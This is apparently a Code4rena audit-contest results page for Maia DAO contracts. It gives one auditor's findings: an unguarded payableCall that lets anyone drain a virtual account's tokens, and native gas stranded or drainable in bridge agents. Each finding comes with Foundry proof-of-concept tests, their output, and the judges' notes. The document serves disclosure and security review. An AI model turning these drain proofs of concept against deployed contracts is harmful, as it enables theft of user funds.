Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 38/175
Findings: 3
Award: $119.61
π Selected for report: 0
π Solo Findings: 0
π Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85
VirtualAccount@payableCall
can be used to drain tokens from a virtual account.
pragma solidity ^0.8.0; import "../../src/VirtualAccount.sol"; import {PayableCall} from "../../src/interfaces/IVirtualAccount.sol"; import "forge-std/Test.sol"; import {ERC20} from "solady/tokens/ERC20.sol"; contract Token is ERC20 { constructor(address to_) { _mint(to_, 2 ether); } function name() public view override returns (string memory) { return "Test"; } function symbol() public view override returns (string memory) { return "TEST"; } } contract VirtualAccountTest is Test { function testDrainERC20() public { VirtualAccount virtualAccount = new VirtualAccount(vm.addr(1), vm.addr(2)); Token token = new Token(address(virtualAccount)); assertEq(token.balanceOf(vm.addr(10)), 0); PayableCall[] memory calls = new PayableCall[](1); calls[0] = PayableCall(address(token), abi.encodeWithSignature("transfer(address,uint256)", vm.addr(10), 2 ether), 0); vm.prank(vm.addr(10)); virtualAccount.payableCall(calls); assertEq(token.balanceOf(vm.addr(10)), 0, "Drained"); } }
[FAIL. Reason: Assertion failed.] testDrainERC20() (gas: 1293800) Logs: Error: Drained Error: a == b not satisfied [uint] Left: 2000000000000000000 Right: 0
Manual Review
Add the requiresApprovedCaller
modifier to VirtualAccount@payableCall
Access Control
#0 - c4-pre-sort
2023-10-08T14:33:03Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:40:40Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:31:43Z
alcueca marked the issue as satisfactory
π Selected for report: nobody2018
Also found by: 0xStalin, 0xnev, 3docSec, Arz, Koolex, Kow, OMEN, gumgumzum, minhtrng, perseverancesuccess, rvierdiiev, windhustler
93.8182 USDC - $93.82
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L50 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L66 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L82 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L115 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L150 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L167 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L201
When native gas tokens are airdropped to a RootBridgeAgent
on the root chain, they are forwarded to its RootBridgeAgentExecutor
which then forwards them to the corresponding router if needed.
If those funds are not used by neither the executor nor the router, they will be stuck and unrecoverable.
This can happen when specifying a native airdrop value in these scenarios for example :
CoreBranchRouter@addLocalToken
BranchBridgeAgent@callOutAndBridge
without _params
BranchBridgeAgent@callOutSignedAndBridge
without _params
BranchBridgeAgent@callOutSignedAndBridge
with _params
but no outputIn general :
RootBridgeAgentExecutor@executeSystemRequest
doesn't forward value to the router and even if it did, it won't be usedRootBridgeAgentExecutor@execute
and RootBridgeAgentExecutor@executeSigned
will forward the value but it won't be used in the case of a multicallNoOutput
RootBridgeAgentExecutor@executeWithDeposit
, RootBridgeAgentExecutor@executeWithDepositMultiple
, RootBridgeAgentExecutor@executeSignedWithDeposit
and RootBridgeAgentExecutor@executeSignedWithDepositMultiple
only forward value if there is a payloadRootBridgeAgentExecutor@executeWithDeposit
, RootBridgeAgentExecutor@executeWithDepositMultiple
, RootBridgeAgentExecutor@executeSignedWithDeposit
and RootBridgeAgentExecutor@executeSignedWithDepositMultiple
with a payload will forward the value but it won't be used in the case of a multicallNoOutput
function testValueLockedInExecutorsOrRouters() public { testAddLocalToken(); address executor = coreRootBridgeAgent.bridgeAgentExecutorAddress(); uint256 previousExecutorBalance = executor.balance; assertEq(previousExecutorBalance, 0); assertEq(address(coreRootRouter).balance, 0); assertEq(address(rootMulticallRouter).balance, 0); switchToLzChain(avaxChainId); vm.deal(owner, 100 ether); avaxMockAssetToken.mint(owner, 100 ether); avaxMockAssetToken.approve(address(avaxPort), 100 ether); DepositInput memory depositInput = DepositInput({ hToken: address(avaxMockAssethToken), token: address(avaxMockAssetToken), amount: 100 ether, deposit: 100 ether }); avaxCoreBridgeAgent.callOutAndBridge{value: owner.balance}( payable(owner), "", depositInput, GasParams(1_300_000, 0.01 ether) ); switchToLzChain(rootChainId); assertEq(executor.balance, previousExecutorBalance, "Executor balance changed after callout and bridge with no payload"); previousExecutorBalance = executor.balance; switchToLzChain(avaxChainId); vm.deal(owner, 100 ether); avaxCoreRouter.addLocalToken{value: owner.balance}( address(new MockERC20("underlying token", "UNDER", 18)), GasParams(2_000_000, 0.01 ether) ); switchToLzChain(rootChainId); assertEq(executor.balance, previousExecutorBalance, "Executor balance changed after addLocalToken"); previousExecutorBalance = executor.balance; switchToLzChain(avaxChainId); vm.deal(owner, 100 ether); bytes memory packedData; { Multicall2.Call[] memory calls = new Multicall2.Call[](1); calls[0] = Multicall2.Call({ target: newAvaxAssetGlobalAddress, callData: abi.encodeWithSelector( bytes4(0xa9059cbb), mockApp, 1 ether ) }); OutputParams memory outputParams = OutputParams( address(this), newAvaxAssetGlobalAddress, 50 ether, 0 ether ); bytes memory data = abi.encode(calls); packedData = abi.encodePacked(bytes1(0x01), data); } avaxMockAssetToken.mint(owner, 100 ether); avaxMockAssetToken.approve(address(avaxPort), 100 ether); avaxMulticallBridgeAgent.callOutSignedAndBridge{ value: owner.balance }( payable(owner), packedData, depositInput, GasParams(2_000_000, 0.01 ether), false ); switchToLzChain(rootChainId); assertEq(address(rootMulticallRouter).balance, 0, "Router balance changed after callout signed and bridge for multicallNoOutput"); assertEq(multicallRootBridgeAgent.bridgeAgentExecutorAddress().balance, 0); previousExecutorBalance = executor.balance; switchToLzChain(avaxChainId); vm.deal(owner, 100 ether); avaxMockAssetToken.mint(owner, 100 ether); avaxMockAssetToken.approve(address(avaxPort), 100 ether); avaxMulticallBridgeAgent.callOutSignedAndBridge{ value: owner.balance }( payable(owner), "", depositInput, GasParams(2_000_000, 0.01 ether), false ); switchToLzChain(rootChainId); assertEq(multicallRootBridgeAgent.bridgeAgentExecutorAddress().balance, 0, "Multicall Executor balance changed after callout signed and bridge with no payload"); }
Error: Executor balance changed after callout and bridge with no payload Error: a == b not satisfied [uint] Left: 100000000000000000000 Right: 0 Error: Executor balance changed after addLocalToken Error: a == b not satisfied [uint] Left: 200000000000000000000 Right: 100000000000000000000 Error: Router balance changed after callout signed and bridge for multicallNoOutput Error: a == b not satisfied [uint] Left: 100000000000000000000 Right: 0 Error: Multicall Executor balance changed after callout signed and bridge with no payload Error: a == b not satisfied [uint] Left: 100000000000000000000 Right: 0
Manual Review
This will depend on the scenario.
Signed calls can refund the user or his virtual account (similar to what BranchBridgeAgentExecutor
is doing) in case there is no payload or there is a payload but no output.
Not sure about the approach for unsigned calls, some options :
Other
#0 - c4-pre-sort
2023-10-12T07:35:19Z
0xA5DF marked the issue as duplicate of #887
#1 - c4-pre-sort
2023-10-12T07:35:24Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-pre-sort
2023-10-12T07:35:55Z
0xA5DF marked the issue as high quality report
#3 - c4-judge
2023-10-25T09:44:59Z
alcueca changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-10-25T09:49:31Z
alcueca marked the issue as satisfactory
#5 - c4-judge
2023-10-25T09:55:06Z
alcueca removed the grade
#6 - c4-judge
2023-10-25T09:55:19Z
alcueca marked the issue as not a duplicate
#7 - alcueca
2023-10-25T12:40:09Z
This is a sizable gas report.
#8 - c4-judge
2023-10-25T12:40:16Z
alcueca changed the severity to G (Gas Optimization)
#9 - c4-judge
2023-10-25T12:40:21Z
alcueca marked the issue as grade-a
#10 - c4-judge
2023-10-25T12:40:26Z
alcueca marked the issue as selected for report
#11 - c4-judge
2023-10-26T13:31:48Z
This previously downgraded issue has been upgraded by alcueca
#12 - c4-judge
2023-10-26T13:32:01Z
alcueca marked the issue as duplicate of #464
#13 - c4-judge
2023-10-26T13:32:06Z
alcueca marked the issue as satisfactory
#14 - alcueca
2023-10-26T13:32:23Z
Reviewing my judging to make losses of refunded gas a Medium
#15 - c4-judge
2023-10-27T10:17:04Z
alcueca marked the issue as not selected for report
#16 - c4-judge
2023-11-03T10:53:02Z
alcueca marked the issue as duplicate of #518
π Selected for report: nobody2018
Also found by: 0xStalin, 0xnev, 3docSec, Arz, Koolex, Kow, OMEN, gumgumzum, minhtrng, perseverancesuccess, rvierdiiev, windhustler
93.8182 USDC - $93.82
Failing message executions can lead to value being left on the RootBridgeAgent and drained by someone else later.
If a message fails either here https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L754 or here https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L779 (if a fallback is not enabled), any airdropped native gas tokens will be left on the RootBridgeAgent
.
That value can be drained using a failing call that has a fallback.
function testValueLockedInRootBridgeAgent() public { assertEq(address(coreRootBridgeAgent).balance, 0); switchToLzChain(avaxChainId); vm.deal(owner, 100 ether); avaxCoreBridgeAgent.callOut{value: owner.balance}( payable(owner), abi.encodePacked(uint8(0)), GasParams(300_000, 0.1 ether) ); switchToLzChain(rootChainId); assertEq(address(coreRootBridgeAgent).balance, 0, "Root bridge agent balance changed"); assertEq(vm.addr(1000).balance, 0); switchToLzChain(ftmChainId); vm.deal(vm.addr(1000), 100 ether); DepositInput memory depositInput = DepositInput({ hToken: address(0), token: address(0), amount: 0, deposit: 0 }); vm.prank(vm.addr(1000)); ftmCoreBridgeAgent.callOutSignedAndBridge{value: vm.addr(1000).balance}( payable(vm.addr(1000)), "", depositInput, GasParams(1_500_000, 0), true ); switchToLzChain(rootChainId); assertEq(vm.addr(1000).balance, 0, "Refundee balance changed"); assertNotEq(address(coreRootBridgeAgent).balance, 0, "Root bridge agent was drained"); }
###Β Results
Error: Root bridge agent balance changed Error: a == b not satisfied [uint] Left: 1000000000000000000000 Right: 0 Error: Refundee balance changed Error: a == b not satisfied [uint] Left: 999999282191708531036 Right: 0 Error: Root bridge agent was drained Error: a != b not satisfied [uint] Left: 0 Right: 0
Manual Review
The airdropped native gas tokens need to be sent back to a refundee in case of a message execution failure.
Other
#0 - c4-pre-sort
2023-10-11T09:56:58Z
0xA5DF marked the issue as duplicate of #887
#1 - c4-pre-sort
2023-10-11T09:57:03Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-25T09:44:59Z
alcueca changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-10-25T09:45:39Z
alcueca marked the issue as satisfactory
#4 - c4-judge
2023-11-03T10:53:03Z
alcueca marked the issue as duplicate of #518
π Selected for report: MrPotatoMagic
Also found by: 0xAadi, 0xDING99YA, 0xDemon, 0xRstStn, 0xSmartContract, 0xStriker, 0xWaitress, 0xbrett8571, 0xfuje, 0xsagetony, 0xsurena, 33BYTEZZZ, 3docSec, 7ashraf, ABA, ABAIKUNANBAEV, Aamir, Audinarey, Bauchibred, Black_Box_DD, Daniel526, DanielArmstrong, DanielTan_MetaTrust, Dinesh11G, Eurovickk, Franklin, Inspecktor, John, Jorgect, Joshuajee, K42, Kek, Koolex, LokiThe5th, MIQUINHO, Myd, NoTechBG, QiuhaoLi, SanketKogekar, Sathish9098, Sentry, Soul22, SovaSlava, Stormreckson, Tendency, Topmark, Udsen, V1235816, Viktor_Cortess, Viraz, Yanchuan, ZdravkoHr, Zims, albahaca, albertwh1te, alexweb3, alexxander, ast3ros, audityourcontracts, bareli, bin2chen, bronze_pickaxe, c0pp3rscr3w3r, cartlex_, castle_chain, chaduke, debo, ether_sky, gumgumzum, imare, its_basu, jaraxxus, jasonxiale, josephdara, kodyvim, ladboy233, lanrebayode77, lsaudit, mert_eren, minhtrng, n1punp, nadin, niroh, nmirchev8, orion, peakbolt, perseverancesuccess, pfapostol, ptsanev, rvierdiiev, saneryee, shaflow2, te_aut, terrancrypt, twcctop, unsafesol, ustas, versiyonbir, windhustler, yongskiws, zhaojie, ziyou-
25.6785 USDC - $25.68
In CoreRootRouter, the _rootBridgeAgentFactory
is not used, yet it is checked for being a valid bridge agent factory, while the one that is ultimately being interacted with is _branchBridgeAgentFactory
.
In BranchBridgeAgent, _createDeposit
and _createDepositMultiple
set the deposit owner to the passed refundee.
To accommodate the router, callOutAndBridge and callOutAndBridgeMultiple use the _refundee
parameters to create deposits. But when called directly, if the _refundee
is not the msg.sender
, the sender will loose control over that deposit.
Similarly in callOutSignedAndBridge and callOutSignedAndBridgeMultiple, the deposit owner ends up being the _refundee
parameter, while the final recipient is the msg.sender
.
BranchBridgeAgent@_createDepositMultiple
Checks in BranchBridgeAgent are also done in BranchPort
ArbitrumCoreBranchRouter@addLocalToken
, ArbitrumBranchBridgeAgent@depositToPort
and ArbitrumBranchBridgeAgent@withdrawFromPort
are payable_refundee
is already payable in BranchBridgeAgent and RootBridgeAgent
Comments are not accurate in CoreBranchRouter and ArbitrumCoreBranchRouter
In BranchBridgeAgentFactory and RootPort
numOfAssets
is already uint8 in RootBridgeAgentExecutor
#0 - c4-pre-sort
2023-10-15T12:04:09Z
0xA5DF marked the issue as sufficient quality report
#1 - c4-judge
2023-10-20T13:34:05Z
alcueca marked the issue as grade-a